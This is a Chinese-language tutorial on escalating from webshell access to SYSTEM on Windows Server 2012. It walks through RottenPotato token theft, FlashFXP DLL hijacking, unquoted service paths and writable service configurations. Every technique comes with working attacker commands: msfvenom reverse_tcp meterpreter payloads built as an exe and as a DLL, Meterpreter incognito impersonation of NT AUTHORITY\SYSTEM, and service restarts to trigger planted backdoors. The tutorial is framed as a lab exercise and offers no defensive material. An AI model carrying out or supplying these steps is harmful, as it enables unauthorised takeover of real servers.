一、win2012—烂土豆配合令牌窃取提权—web权限1.1 RottenPotato(烂土豆)提权的原理1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。 3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。 所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。即非服务类用户权限无法窃取成功。 单纯令牌窃取: 适用于web权限或本地提权 烂土豆比热土豆的优点是: 1.100%可靠 3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。 1.2 提权教程过程: 上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功 实验环境: 1、假设通过漏洞将大马文件传到了目标web网站,并成功访问,如下图所示,成功获取了一个web权限 2、在kali上用以下命令生成一个后门,并上传到目标服务器。 msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f exe -o shell.exe 3、kali上 msf 启动监听
4、假设将 shell.exe 后门通过之前的漏洞传到上传到目标靶机并点击CMD 执行后门程序 5、kali 监听到会话,是web普通权限 6、尝试用烂土豆配合令牌窃取提权,假设通过漏洞将烂土豆上传到目标服务器的C盘 然后执行以下命令,成功提权。 cd C:\\ execute -cH -f ./potato.exe use incognito # 进入incognito list_tokens -u # 列出令牌 impersonate_token 'NT AUTHORITY\SYSTEM' # 令牌假冒 SYSTEM 二、win2012—DLL劫持提权应用配合MSF—web权限2.1 DLL劫持提权原理原理: Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
补充说明: dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋 2.2 提权教程过程: 信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功 1、通过信息收集,发现目标服务器上存在一个第三方软件flashfxp。 2、本地下载一个相同的软件,使用火绒剑工具进行进程调试分析。由于系统文件和系统目录里的文件我们无法删除修改,因此我们可以重点查看在软件安装目录里的未知文件和数字签名文件。可以选择libssl-1_1.dll文件进行后续的删除替换。 火绒剑下载: https://www./wg/2020/0628/235361.html 本地电脑下载 flashfxp并运行,使用火绒剑监测进程,发现 libssl-1_1.dll 文件很合适 3、msf生成后门木马test.dll msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f dll >/opt/test.dll 4、将test.dll上传到目标服务器,修改名字并替换原来的 libssl-1_1.dll。 5、msf启动监听
服务器双击运行flashfxp软件程序 kali成功监听到会话 6、配合令牌窃取,成功提权。 use incognito list_tokens -u impersonate_token 'NT AUTHORITY\SYSTEM' 三、win2012-不带引号服务路径配合MSF-web,本地权限3.1 提权原理原理: 当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行(如图1)。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。 图1:可执行文件的路径被包含在引号中 比如,有一个服务a.exe,他的可执行文件的路径是“C:\Program Files\a.exe”,路径被包含在引号中,则系统会正常解释并执行它,但是如果可执行文件的路径是C:\Program Files\a.exe,未被包含在引号中,则操作系统会执行空格之前的C:\Program,而将空格之后的 Files\a.exe当做参数,导致出错,如下图所示 3.2 提权教程过程: 检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功 1、执行命令,检测未被引号包含且还有空格的服务路径。
2、使用msf制作一个后门,命名为Program.exe,上传到目标服务器C盘根目录。 3、启动服务。可以在webshell中或者本地启动服务。但是测试时,webshell中启动不了,所以不带引号服务路径提权方法还是多用于本地提权。 sc start '服务名' 4、msf监听到会话,提权成功。 四、win2012-不安全的服务权限配合MSF-本地权限4.1 提权原理原理: 即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。 4.2 提权教程过程: 检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功 1、执行命令,检测当前用户所在组的服务权限(实战中一般都不是administrators组,这里仅做测试用),列出的都是当前用户可以操作的服务。
2、制作后门木马并上传。(名字可以随便起) msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f exe -o wxiaoge.exe 上传到目标系统的C盘 3、从第一步列出的服务中选择一个服务,更改其服务路径指向。 比如选择 IIS ADMIN 服务,它原来的服务路径指向为 C:\Windows\system32\inetsrv\inetinfo.exe。 执行命令,更改其服务路径指向为我们上传的木马的路径。
4、启动服务,监听到会话,提权成功。 sc start 'IISADMIN'
|
|